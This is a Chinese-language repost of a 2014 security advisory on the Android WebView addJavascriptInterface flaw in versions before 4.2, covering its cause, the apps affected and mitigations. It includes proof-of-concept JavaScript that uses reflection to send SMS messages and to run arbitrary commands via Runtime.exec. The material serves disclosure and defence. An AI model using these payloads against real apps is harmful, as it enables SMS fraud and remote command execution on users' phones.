您的位置:首页 > 移动开发

Android WebView 安全漏洞

2014-09-09 15:19 309 查看
近期国内爆出的 Android WebView 安全漏洞会导致大量应用成为黑客管道。漏洞危及超过 90% 的安卓手机,当用户通过存在漏洞的 APP 打开挂马网页后,可被大规模利用,包括远程操控手机窃取隐私、扣费等。
根据上网快鸟联合创始姜向前的介绍,该漏洞的原理是在 Android 的 SDK 中封装了 WebView 控件,该控件可以和使用它的应用程序结合的更加紧密,在页面内允许 JavaScript 调用 Java 代码。
这个特性带来便捷的同时也具有很大的潜在风险。
因为 Java 代码本身可以调用系统本身的很多功能,例如读写文件,拨打电话、发短信扣费等,经过精心构造,甚至可以 root 手机、安装恶意程序。系统在设计时,对可以调用的 Java 代码做了一定的限制,但是这个限制在 4.2 之前的系统上不严密,会导致限制可以被绕过,形同虚设。
出于安全考虑,为了防止 Java 层的函数被随便调用,Google 在 Android 4.2 版本之后,规定允许被调用的函数必须以 JavascriptInterface 进行注解,所以如果某应用依赖的 API Level 为 17 或者以上,就不会受该问题的影响(注:Android 4.2 中 API Level 小于 17 的应用也会受影响)。
国内大量的移动开发者都错误的调用了 WebView 控件接口,导致漏洞攻击大规模爆发。
在各 App 开发者还没有升级自己的 App 之前,建议大家使用系统自带的浏览器访问网页,并且慎重访问社交应用中陌生人发来的链接。

一、漏洞描述

近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上,包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用均被曝光同类型漏洞。

二、影响版本

Android系统版本低于4.2

三、漏洞原理

漏洞点:WebView.addJavascriptInterface(Object obj, String interfaceName) ;

漏洞触发条件:

1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。

2、使用WebView加载外部网页。

3、Android系统版本低于4.2

漏洞原因:

Android系统通过WebView.addJavascriptInterface方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。



四、POC代码

我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

WebView webview = new WebView(context);

WebSettings webset= webview.getSettings();

webset.setJavaScriptEnabled(true);

webview.addJavascriptInterface(new JSInvoke(), “jsinvoke”);

利用该漏洞的外部javascript脚本:

1

2

3

4

<script>

var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

obj_smsManager.sendTextMessage("159********",null,"test",null,null);

</script>
出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。在各应用厂商修复该问题期间,我们建议用户暂时使用系统自带的浏览器访问网页,并且不要访问社交应用中陌生人发来的链接。

五、相关链接

http://drops.wooyun.org/papers/548

http://50.56.33.56/blog/?p=314Android的SDK中提供了一个WebView组件,用于在应用中嵌入一个浏览器来进行网页浏览。WebView组件中的addJavascriptInterface方法用于实现本地Java和JavaScript的交互。这个方法可以通过js脚本在本地执行任意Java代码,从而以当前用户身份执行任意命令。

尽管Android官方已经提醒了此功能在访问不可信网页内容时存在严重安全风险,很多应用开发人员仍未意识到此问题,大量Android应用特别是浏览器应用受到此问题影响,可能被攻击者利用来进行对Android移动终端进行网页挂马等恶意攻击行为。

分析:

======

Android下很多应用在使用WebView访问html页面时都会调用addJavascriptInterface方法,这类应用程序一般都会有类似如下的代码:

webView.addJavascriptInterface(javaObj, "jsObj");

此段代码将javaObj对象暴露给js脚本,可以通过jsObj对象对其进行引用,调用javaObj的方法。

结合Java的反射机制可以通过js脚本执行任意Java代码,相关代码如下:

<script>

function execute(cmdArgs)

{

return jsobj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

execute(someCmd)

</script>

当受影响的应用程序执行到上述脚本的时候,就会执行someCmd指定的命令。

Android系统下许多应用程序(浏览器,微博等)使用webView进行界面展示,都有可能受到此问题的影响。

攻击者可以通过诱使受害者打开恶意网页、浏览恶意微博或者向受害者发送恶意邮件等方式来利用此漏洞,获取用户敏感信息、控制用户系统。

解决方法:

==========

对于应用厂商:

<1> 确保只在访问可信页面数据时才使用addjavascriptInterface。

<2> 在调用Java对象方法前对参数进行检查,避免执行恶意操作。

<3> 对于在4.2(API 17+)系统运行的应用,使用JavascriptInterface代替addjavascriptInterface。

<4> 限制对于该接口的使用来源,只允许可信来源访问该接口。例如使用WebViewClient中的shouldOverrideUrlLoading()来对加载的URL进行检查。

对于终端用户:

<1> 关注应用厂商更新情况,尽快升级应用程序到最新版本。

<2> 在厂商修补前,用户应尽量避免使用应用浏览不可信的网页链接和邮件。

厂商状态:

==========

Android官方已提醒此功能是有安全风险的,在可能访问不可信网页内容时需要小心处理。

Android 4.2 (api 17)已经开始采用JavascriptInterface代替addjavascriptInterface。

附加信息:

==========

1. http://drops.wooyun.org/papers/548

2. http://developer.android.com/reference/android/webkit/WebView.html

3.http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

4. http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf

5. http://50.56.33.56/blog/?p=314

6. http://www.nsfocus.net/index.php?act=alert&do=view&aid=139
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: